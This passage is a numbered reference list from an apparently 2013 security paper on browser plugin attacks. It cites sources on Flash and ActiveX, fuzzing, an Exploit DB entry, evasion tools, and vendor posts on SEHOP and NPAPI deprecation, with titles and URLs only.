24. HP. (2013). SWFScan. Retrieved October 23, 2013 from http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167

25. Adobe. (2013). ActionScript 3 camera API. Retrieved October 23, 2013 from http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/media/Camera.html

26. Adobe. (2013). ActionScript 3 microphone API. Retrieved October 23, 2013 from http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/media/Microphone.html

27. Google Security Blog. (2013). Fuzzing at scale. Retrieved October 23, 2013 from http://googleonlinesecurity.blogspot.co.uk/2011/08/fuzzing-at-scale.html

28. Boc.cn. (2013). eBanking technical requirements. Retrieved October 23, 2013 from http://www.boc.cn/en/custserv/bocnet/201107/t20110705_1442435.html

29. Google Code. (2013). NP-ActiveX. Retrieved October 23, 2013 from http://code.google.com/p/np-activex/

30. Google Code. (2013). Firefox ActiveX host. Retrieved October 23, 2013 from http://code.google.com/p/ff-activex-host/

31. Meau.com. (2013). Mitsubishi MC-WorX ActiveX. Retrieved October 23, 2013 from http://www.meau.com/functions/dms/getfile.asp?ID=035000000000000001000000908800000

32. Exploit DB. (2013). Mitsubishi MC-WorX ActiveX exploit. Retrieved October 23, 2013 from http://www.exploit-db.com/exploits/28284/

33. Microsoft. (2013). UNC paths. Retrieved October 23, 2013 from http://msdn.microsoft.com/en-us/library/gg465305.aspx

34. Chris Gates. (2013). Attacking layer 8. Retrieved October 23, 2013 from http://carnal0wnage.attackresearch.com/2009/03/attacking-layer-8-client-side.html

35. Exploit DB. (2013). Hyperion: Implementation of a PE-Crypter. Retrieved October 23, 2013 from http://www.exploit-db.com/wp-content/themes/exploit/docs/18849.pdf

36. Chris Truncer, Mike Wright. (2013). The Grayhound. Veil - Framework. Retrieved October 23, 2013 from https://www.veil-evasion.com/

37. Mateusz Jurczyk. (2013). PDF fuzzing and Adobe Reader 9.5.1 and 10.1.3 multiple critical vulnerabilities. Retrieved October 23, 2013 from http://j00ru.vexillium.org/?p=1175

38. Zdnet. (2013). Adobe Turnoff Javascript in PDF Reader. Retrieved October 23, 2013 from http://www.zdnet.com/blog/security/adobe-turn-off-javascript-in-pdf-reader/3245

39. Stefano Di Paola, Giorgio Fedon. (2006). Subverting AJAX. Retrieved October 23, 2013 from http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf

40. Mitre. (2013). CWE-415: Double Free. Retrieved October 23, 2013 from http://cwe.mitre.org/data/definitions/415.html

41. Microsoft TechNet Blogs. (2013). Preventing the Exploitation of SEH Overwrites with SEHOP. Retrieved October 23, 2013 from http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx

42. Chromium Blog. (2013). Saying Goodbye to Our Old Friend NPAPI. Retrieved October 23, 2013 from http://blog.chromium.org/2013/09/saying-goodbye-to-our-old-friend-npapi.html

43. Mozilla Blog. (2013). Plugin activation in Firefox. Retrieved October 23, 2013 from https://blog.mozilla.org/futurereleases/2013/09/24/plugin-activation-in-firefox/